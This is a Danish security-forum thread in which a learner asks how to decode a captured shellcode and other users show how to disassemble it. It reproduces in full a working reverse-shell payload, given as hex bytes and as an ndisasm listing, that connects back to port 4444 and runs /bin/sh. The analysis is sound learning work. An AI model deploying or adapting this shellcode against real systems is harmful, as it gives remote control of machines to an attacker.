Tråd bedømmelse:
  • 0 Stemmer - 0 Gennemsnit
  • 1
  • 2
  • 3
  • 4
  • 5
Reverse Payload
19-02-2014, 19:35 (Denne besked var sidst ændret: 19-02-2014, 20:59 af Spagnum.)
#1
Reverse Payload
Jeg beklager på forhånd begrebsforvirring i denne beskrivelse. Ret mig gerne hvis der er noget jeg har helt galt fat i.
Der er mange områder jeg endnu ikke hjemme i endnu, men arbejder på sagen.

Anyhow, lad os sige at jeg genere pakke med en payload, og sender denne til en anden client på mit netværk.

Payloaden kunne så således ud:
Kode:
\x68\x7f\x00\x00\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80
Tænkt eksempel - snuppet fra:
http://securityweekly.com/2011/10/python...-code.html

1. Kan man ud fra payloaden alene "dekryptere" shellcoden?
2. Pakken bliver opfanget og kan analyseres i Wireshark - Er der her nogen mulighed for at finde ydligere oplysninger om hvad Shellcoden indeholde og har til formål?
(Mit bud her ville værer Follow TCP/UDP stream på den omtalte pakke)
Don't learn to hack, hack to learn
Find alle beskeder fra denne bruger
Citer denne besked i et svar
19-02-2014, 20:52
#2
RE: Reverse Payload
Her er en disassembling af dit payload:
Kode:
00000000  687F000001        push dword 0x100007f
00000005  68FF02115C        push dword 0x5c1102ff
0000000A  89E7              mov edi,esp
0000000C  31C0              xor eax,eax
0000000E  50                push eax
0000000F  6A01              push byte +0x1
00000011  6A02              push byte +0x2
00000013  6A10              push byte +0x10
00000015  B061              mov al,0x61
00000017  CD80              int 0x80
00000019  57                push edi
0000001A  50                push eax
0000001B  50                push eax
0000001C  6A62              push byte +0x62
0000001E  58                pop eax
0000001F  CD80              int 0x80
00000021  50                push eax
00000022  6A5A              push byte +0x5a
00000024  58                pop eax
00000025  CD80              int 0x80
00000027  FF4FE8            dec dword [edi-0x18]
0000002A  79F6              jns 0x22
0000002C  682F2F7368        push dword 0x68732f2f
00000031  682F62696E        push dword 0x6e69622f
00000036  89E3              mov ebx,esp
00000038  50                push eax
00000039  54                push esp
0000003A  54                push esp
0000003B  53                push ebx
0000003C  50                push eax
0000003D  B03B              mov al,0x3b
0000003F  CD80              int 0x80

Så er det jo bare at læse, tegne og forstå hvad der sker.

Hvis man opfanger den, så kan man læse den. Men afhængig af sårbarheden kan den være meget svær at læse.
format string vulns. f.eks. er ganske ubehagelige at læse payloads fra.
Find alle beskeder fra denne bruger
Citer denne besked i et svar
19-02-2014, 21:05
#3
RE: Reverse Payload
Hvordan disassemblede du det?

Igen, jeg beklager for min uvidenhed på området. (nogle relevante links, search terms etc. er også meget velkommende)
Don't learn to hack, hack to learn
Find alle beskeder fra denne bruger
Citer denne besked i et svar
19-02-2014, 21:20 (Denne besked var sidst ændret: 19-02-2014, 21:26 af BlimBlamBlar.)
#4
RE: Reverse Payload
Så'n her:

Kode:
$ python -c 'import sys; sys.stdout.write("\x68\x7f\x00\x00\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01\x6a\x02\x6a​\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff​\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53​\x50\xb0\x3b\xcd\x80")' | ndisasm -b 32 -

...og så er den her tabel ret rar at have: http://docs.cs.up.ac.za/programming/asm/...calls.html

Rettelse: Ok, den tabel var så ikke helt fed alligevel, for jeg kan se at det er OSX shellcode
Find alle beskeder fra denne bruger
Citer denne besked i et svar
20-02-2014, 09:25
#5
RE: Reverse Payload
(19-02-2014, 21:20)BlimBlamBlar Skrev:
Kode:
$ python -c 'import sys; sys.stdout.write("\x68\x7f\x00\x00\x01\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0\x50\x6a\x01\x6a\x02\x6a​\x10\xb0\x61\xcd\x80\x57\x50\x50\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff​\x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x54\x53​\x50\xb0\x3b\xcd\x80")' | ndisasm -b 32 -

Nice - Det var netop det jeg skulle bruge. Skal dog stadig havde læst noget mere op på tingende. Tak for hjælpen!
Don't learn to hack, hack to learn
Find alle beskeder fra denne bruger
Citer denne besked i et svar
« Ældre | Nyere »




User(s) browsing this thread: 1 Gæst(er)